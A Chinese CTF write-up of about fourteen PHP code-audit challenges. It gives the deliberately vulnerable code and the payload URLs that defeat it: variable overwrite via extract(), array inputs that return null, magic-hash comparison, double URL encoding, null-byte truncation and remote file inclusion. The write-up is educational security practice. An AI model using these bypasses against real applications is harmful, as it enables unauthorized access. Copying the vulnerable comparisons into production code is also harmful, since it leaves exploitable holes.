CTF-PHP代码审计
发布于 2021-05-13 00:00 ,所属分类:区块连和PHP开发学习资料
1、extract变量覆盖
<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo'flag{xxx}';
}
else
{
echo'Oh.no';
}
}
?>
知识点:
变量覆盖
file_get_contents():将整个文件读入一个字符串
trim()去除字符串两侧的空格或者指定字符trim('string','string you want to delete')
$_GET:表示等一下提交变量时,URL 通过 get 的方式传参,传输的数据以数组的形式被封装在$_GET 中。
extract():从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
extract(array,extract_rules,prefix)
题中给出extract($_GET),相当于:
$shiyan =$_GET[‘shiyan’]
$flag =$_GET[‘flag’]。
另外,isset()函数判断$shiyan变量是否设置
利用extract()函数的变量覆盖漏洞原理构造payload
漏洞产生原因:extract()函数当只有一个参数时,默认的第二参数是:EXTR_OVERWRITE,如果有变量发生冲突,则覆盖已有的变量。
思路:
代码审计需要满足两个条件:
1. if(isset($shiyan)) == 》 TRUE
2.if(shiyan==shiyan==content) == 》 TRUE
//利用extract()函数变量覆盖漏洞+php伪协议
//利用file_get_content()函数返回字符串+php弱类型(null == "string" ==》 true
弱类型
http://123.206.87.240:9009/1.php?shiyan=
http://123.206.87.240:9009/1.php?shiyan=&flag=
http://123.206.87.240:9009/1.php?shiyan=&content=
伪协议
http://123.206.87.240:9009/1.php?shiyan=123&file=php://input
post data:123
2、strcmp比较字符串,数组返回0
http://123.206.87.240:9009/6.php
<?php
$flag = "flag{xxxxx}";
if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0;如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
//比较两个字符串(区分大小写)
die('Flag: '.$flag);
else
print 'No';
}
?>
知识点:
die() 函数输出一条消息,并退出当前脚本。
strcmp(str1,str2)比较两个字符串大小,若是非字符串(例如数组)比较,则会出错。在5.3之前的php中,显示了报错的警告信息后,将return 0。0==0执行
payload:?a[]=1
3、urldecode二次编码绕过
http://123.206.87.240:9009/10.php
<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("
not allowed!
");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "
Access granted!
";
echo "
flag
";
}
?>
eregi()在一个字符串中搜索指定的模式的字符串,搜索不区分大小的正则匹配。
urldecode()解码以编码的URL字符串,但是$_GET[]会将参数解码一次。
若本题将“hackerDJ”进行两次URL编码,在eregi()中比较”hackerDJ”与$_GET[id]是否相同,$_GET会解码一次,从二次URL编码变成一次URL编码;urldecode()会将$_GET[id]从二次URL编码变成一次URL编码,赋值给$_GET[id],当$_GET[id]与“hackerDJ”比较时,$_GET[id]再从一次URL编码解码,最后比较相等得到flag。
将“hackerDJ”进行两次URL编码。
Payload(hackerDJ 可以全部字母或者个别字母做二次urlEncode)
http://123.206.87.240:9009/10.php?id=%25%36%38%25%36%31%25%36%33kerDJ
或者
http://123.206.87.240:9009/10.php?id=%25%36%38%25%36%31%25%36%33%25%36%62%25%36%35%25%37%32%25%34%34%25%34%61
4、md5()函数,0e开头的md5值或者数组参数为null
http://123.206.87.240:9009/18.php
<?php
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
if ($_GET['username'] == $_GET['password'])
print 'Your password can not be your username.';
else if (md5($_GET['username']) === md5($_GET['password']))
die('Flag: '.$flag);
else
print 'Invalid password';
}
?>
md5()计算字符串的MD5散列值。
md5()函数不能处理数组,使用数组绕过,md5(array)会返回null。
Payload:
http://123.206.87.240:9009/18.php?username[]=1&password[]=2
5、数组返回NULL绕过
http://123.206.87.240:9009/19.php
<?php
$flag = "flag";
if (isset($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
echo 'You password must be alphanumeric';
else if (strpos ($_GET['password'], '--') !== FALSE)
die('Flag: ' . $flag);
else
echo 'Invalid password';
}
?>
strpos(string,find[, start])查找字符串在另一字符串中第一次出现的位置。
ereg()正则匹配,需使password中只含有英文字母和数字,又因为strpos()需要匹配“–”才能得到flag,可以使用数组绕过ereg()和strpos()。
ereg()只能处理字符,而password是数组,所以返回的是null,三个等号的时候不会进行类型转换。所以null!==false。
strpos()的参数同样不能够是数组,所以返回的依旧是null,null!==false也是正确。
payload:?password[]=1
http://123.206.87.240:9009/19.php?password[]=1
思路二:ereg()可以进行%00截断,绕过正则匹配。
payload:?password=1%00--
http://123.206.87.240:9009/19.php?password=jjjk%00--
6、弱类型整数大小比较绕过
http://123.206.87.240:9009/22.php
$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336){
echo $flag;
is_numeric(var)检测变量是否为数字或数字字符串,是则返回true,否则返回false。
is_numeric()对于空字符%00,无论%00放在前面还是后面都可以判断为非数值,而空格%20只能放在数值后面,实质上都是弱类型转换。
payload1:?password=1337%00
payload2:?password=1337%20
payload3:?password=1337a
7、sha()函数比较绕过,数组返回null
<?php
$flag = "flag";
if (isset($_GET['name']) and isset($_GET['password']))
{
var_dump($_GET['name']);
echo "
";
var_dump($_GET['password']);
var_dump(sha1($_GET['name']));
var_dump(sha1($_GET['password']));
if ($_GET['name'] == $_GET['password'])
echo '
Your password can not beyour name!';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '
Invalid password.
}
else
echo '
Login first!;?>
同md5()一样,sha1()函数也无法处理数组,因此可以构造数组绕过。
http://123.206.87.240:9009/7.php?password[]=1&name[]=2
array(1) { [0]=> string(1) "2"}
array(1) { [0]=> string(1) "1" } NULL NULL Flag: flag{bugku--daimasj-a2}
8、md5加密相等绕过,0e开头的md5值,==比较两边相等
http://123.206.87.240:9009/13.php
<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "flag{*}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
?>
md5生成的以“0e”开头的哈希值都解释为0,所以PHP在判断时会认为相同
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以“0E”开头的哈希值都解释为0,
如果两个不同的值经过哈希以后,都是0E开头,那么PHP将会认为他们相同
。这里提供一个
s878926199a
http://123.206.87.240:9009/13.php?a=s155964671a
举例:md5后以0e开头的字符串
240610708
0e462097431906509019562988736854
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
9、十六进制与数字比较
http://123.206.87.240:9009/20.php
<?php
error_reporting(0);
function noother_says_correct($temp)
{
$flag = 'flag{test}';
$one = ord('1'); //ord — 返回字符的 ASCII 码值
$nine = ord('9'); //ord — 返回字符的 ASCII 码值
$number = '3735929054';
// Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
// Disallow all the digits!
$digit = ord($temp{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
// Aha, digit not allowed!
return "flase";
}
}
if($number == $temp)
return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);
?>
ord()返回字符串中首个字符的ASCII值。
题目中会要求输入的password中不能有0~9数字,并且还需要判断$number==$_GET[password]。所以将$number=3735929054转换为16进制“deadc0de”,再在前面加上0x表示16进制。
http://123.206.87.240:9009/20.php?password=0xdeadc0de
10、变量覆盖(地址访问不了)
http://120.24.86.145:9009/bianliang/
11、ereg正则%00截断
http://123.206.87.240:9009/5.php
<?php
$flag = "xxx";
if (isset ($_GET['password']))
{
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '
You password must bealphanumeric
';
}
else if (strlen($_GET['password']) < 8 &&$_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '-')!== FALSE) //strpos — 查找字符串首次出现的位置
{
die('Flag: ' . $flag);
}
else
{
echo('
-have not been found
');
}
}
else
{
echo '
Invalid password
';
}
}
?>
题目通过ereg()函数判断password中是否只含有字母或数字,进而限制password长度小于8,并且值小于9999999;在此前提下用strpos()函数搜索password中是否含有“-”,若是则输出flag。
解法一,利用数组绕过strpos()函数。strpos()数组 null!=false, strlen()数组长度为0
payload:?password[]=9999999999
解法二,利用ereg()%00截断漏洞,在用科学记数法来构造1e9满足strlen($_GET[‘password’]) < 8 && $_GET[‘password’]> 9999999这个条件,再加上“-”来满足strpos()的条件。
payload:?password=1e9%00*-*
12、strpos数组绕过,存在数组绕过漏洞
http://123.206.87.240:9009/15.php
<?php
$flag = "flag";
if (isset ($_GET['ctf'])) {
if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
?>
构造数组绕过,并且值含有数字。
payload:?ctf[]=1
?ctf=12333%00#biubiubiu此种方式不可,因为ereg()存在%00截断,而strpos()则不存在
13、数字验证正则绕过
http://123.206.87.240:9009/21.php
<?php
error_reporting(0);
$flag = 'flag{test}';
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配
{
echo 'flag';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号[[:digit:]] 任何数字[[:upper:]] 任何大写字母[[:lower:]] 任何小写字母
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
//>=3,必须包含四种类型三种与三种以上
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
?>
直接POST一个password就可以,并且小于12个字符。
payload:
http://123.206.87.240:9009/21.php
POST:password=1
14、简单的waf
http://120.24.86.145:9010/
服务器坏了,网上找的wp
要求传入abcde,a中不能包含php,因此a不能用php://input来为其赋值了,但是可以通过远程文件包含来为其赋值,即在自己的服务器上写一个txt文件,e可以用php://input来赋值,然后就会看到返回hello admin
但是 c和d不知道有什么作用,看到c中不能包含flag,d不能包含base64,于是猜测题目可能存在flag.php之类的,需要通过d去读取?尝试访问flag.php看到flag on my head,访问flag,发现会下载一个文件,里面说Please call admin to getflag,令c=flag.php会触发他的waf,但是令c=Flag.php可以绕过,但是也没有返回其他的东西,摇头.gif不知道怎么操作了,希望有大佬会的话带带我Orz
相关资源